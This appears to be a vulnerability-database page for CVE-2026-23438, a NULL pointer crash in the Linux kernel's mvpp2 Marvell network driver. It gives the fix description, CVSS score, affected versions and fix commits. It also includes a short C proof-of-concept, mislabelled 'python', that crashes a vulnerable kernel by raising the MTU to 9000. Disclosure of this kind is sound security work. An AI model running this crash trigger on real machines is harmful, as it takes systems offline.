CVE-2026-23438

Description

In the Linux kernel, the following vulnerability has been resolved: net: mvpp2: guard flow control update with global_tx_fc in buffer switching mvpp2_bm_switch_buffers() unconditionally calls mvpp2_bm_pool_update_priv_fc() when switching between per-cpu and shared buffer pool modes. This function programs CM3 flow control registers via mvpp2_cm3_read()/mvpp2_cm3_write(), which dereference priv->cm3_base without any NULL check. When the CM3 SRAM resource is not present in the device tree (the third reg entry added by commit 60523583b07c ("dts: marvell: add CM3 SRAM memory to cp11x ethernet device tree")), priv->cm3_base remains NULL and priv->global_tx_fc is false. Any operation that triggers mvpp2_bm_switch_buffers(), for example an MTU change that crosses the jumbo frame threshold, will crash: Unable to handle kernel NULL pointer dereference at virtual address 0000000000000000 Mem abort info: ESR = 0x0000000096000006 EC = 0x25: DABT (current EL), IL = 32 bits pc : readl+0x0/0x18 lr : mvpp2_cm3_read.isra.0+0x14/0x20 Call trace: readl+0x0/0x18 mvpp2_bm_pool_update_fc+0x40/0x12c mvpp2_bm_pool_update_priv_fc+0x94/0xd8 mvpp2_bm_switch_buffers.isra.0+0x80/0x1c0 mvpp2_change_mtu+0x140/0x380 __dev_set_mtu+0x1c/0x38 dev_set_mtu_ext+0x78/0x118 dev_set_mtu+0x48/0xa8 dev_ifsioc+0x21c/0x43c dev_ioctl+0x2d8/0x42c sock_ioctl+0x314/0x378 Every other flow control call site in the driver already guards hardware access with either priv->global_tx_fc or port->tx_fc. mvpp2_bm_switch_buffers() is the only place that omits this check. Add the missing priv->global_tx_fc guard to both the disable and re-enable calls in mvpp2_bm_switch_buffers(), consistent with the rest of the driver.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < Commit 8baced53a35fc9710f80d6ca016a2c418dc3231f

Linux Kernel < Commit 8a63baadf08453f66eb582fdb6dd234f72024723

Linux Kernel < Commit 7df2b50cae1a76cbb90b294f3edb61e3e10bf2e9

Linux Kernel < Commit 7bd20f4b3ef3044dc55acd5b8ef748a70d29d03f

Linux Kernel < Commit 0cfcd31f98fc608dc9406bff3fee3a9dd364d014

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <linux/if.h>

// PoC for CVE-2026-23438
// Trigger: Changing MTU on mvpp2 interface to cross jumbo frame threshold
// Requires a vulnerable interface (e.g., eth0 handled by mvpp2)
// and specific DT configuration missing CM3 SRAM.

int main(int argc, char *argv[]) {
    int sock;
    struct ifreq ifr;
    const char *ifname = "eth0"; // Replace with actual mvpp2 interface

    if (argc > 1) ifname = argv[1];

    sock = socket(AF_INET, SOCK_DGRAM, 0);
    if (sock < 0) {
        perror("socket");
        return 1;
    }

    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1);

    // Set MTU to a value that triggers jumbo frame threshold (e.g., 9000)
    // This triggers mvpp2_bm_switch_buffers -> mvpp2_bm_pool_update_priv_fc
    // -> mvpp2_cm3_read -> NULL pointer dereference
    ifr.ifr_mtu = 9000;

    if (ioctl(sock, SIOCSIFMTU, &ifr) < 0) {
        perror("ioctl SIOCSIFMTU");
        close(sock);
        return 1;
    }

    printf("MTU changed to %d. If vulnerable, kernel should panic/crash.\n", ifr.ifr_mtu);
    close(sock);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23438
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23438
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23438/
[4] VulDB https://vuldb.com/cve/CVE-2026-23438
[5] https://git.kernel.org/stable/c/0cfcd31f98fc608dc9406bff3fee3a9dd364d014
[6] https://git.kernel.org/stable/c/7bd20f4b3ef3044dc55acd5b8ef748a70d29d03f
[7] https://git.kernel.org/stable/c/7df2b50cae1a76cbb90b294f3edb61e3e10bf2e9
[8] https://git.kernel.org/stable/c/8a63baadf08453f66eb582fdb6dd234f72024723
[9] https://git.kernel.org/stable/c/8baced53a35fc9710f80d6ca016a2c418dc3231f
[10] https://git.kernel.org/stable/c/da089f74a993f846685067b14158cb41b879ff29
[11] https://git.kernel.org/stable/c/ff0c54f088f7ab91dbbf47cf8244460f99122750

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-23438", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-03T16:16:25.540", "lastModified": "2026-04-23T20:59:22.450", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: mvpp2: guard flow control update with global_tx_fc in buffer switching\n\nmvpp2_bm_switch_buffers() unconditionally calls\nmvpp2_bm_pool_update_priv_fc() when switching between per-cpu and\nshared buffer pool modes. This function programs CM3 flow control\nregisters via mvpp2_cm3_read()/mvpp2_cm3_write(), which dereference\npriv->cm3_base without any NULL check.\n\nWhen the CM3 SRAM resource is not present in the device tree (the\nthird reg entry added by commit 60523583b07c (\"dts: marvell: add CM3\nSRAM memory to cp11x ethernet device tree\")), priv->cm3_base remains\nNULL and priv->global_tx_fc is false. Any operation that triggers\nmvpp2_bm_switch_buffers(), for example an MTU change that crosses\nthe jumbo frame threshold, will crash:\n\n Unable to handle kernel NULL pointer dereference at\n virtual address 0000000000000000\n Mem abort info:\n ESR = 0x0000000096000006\n EC = 0x25: DABT (current EL), IL = 32 bits\n pc : readl+0x0/0x18\n lr : mvpp2_cm3_read.isra.0+0x14/0x20\n Call trace:\n readl+0x0/0x18\n mvpp2_bm_pool_update_fc+0x40/0x12c\n mvpp2_bm_pool_update_priv_fc+0x94/0xd8\n mvpp2_bm_switch_buffers.isra.0+0x80/0x1c0\n mvpp2_change_mtu+0x140/0x380\n __dev_set_mtu+0x1c/0x38\n dev_set_mtu_ext+0x78/0x118\n dev_set_mtu+0x48/0xa8\n dev_ifsioc+0x21c/0x43c\n dev_ioctl+0x2d8/0x42c\n sock_ioctl+0x314/0x378\n\nEvery other flow control call site in the driver already guards\nhardware access with either priv->global_tx_fc or port->tx_fc.\nmvpp2_bm_switch_buffers() is the only place that omits this check.\n\nAdd the missing priv->global_tx_fc guard to both the disable and\nre-enable calls in mvpp2_bm_switch_buffers(), consistent with the\nrest of the driver."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.12.1", "versionEndExcluding": "5.15.203", "matchCriteriaId": "AA3D6441-4F2E-41AB-A26D-388B03A5932F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.167", "matchCriteriaId": "2EDC6BAF-B710-4E26-B6AA-D68922EE7B43"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.78", "matchCriteriaId": "28D591F5-B196-4CC9-905C-DC80F116E7A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.20", "matchCriteriaId": "E5571059-6552-48E7-9BEF-3E358C387171"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.10", "matchCriteriaId": "96D34333-38BE-4414-9E79-6EB764329581"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.12:-:*:*:*:*:*:*", "matchCriteriaId": "75EB504D-4A83-4C67-9C8D-FD9C6C8EB4CD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"} ... (truncated)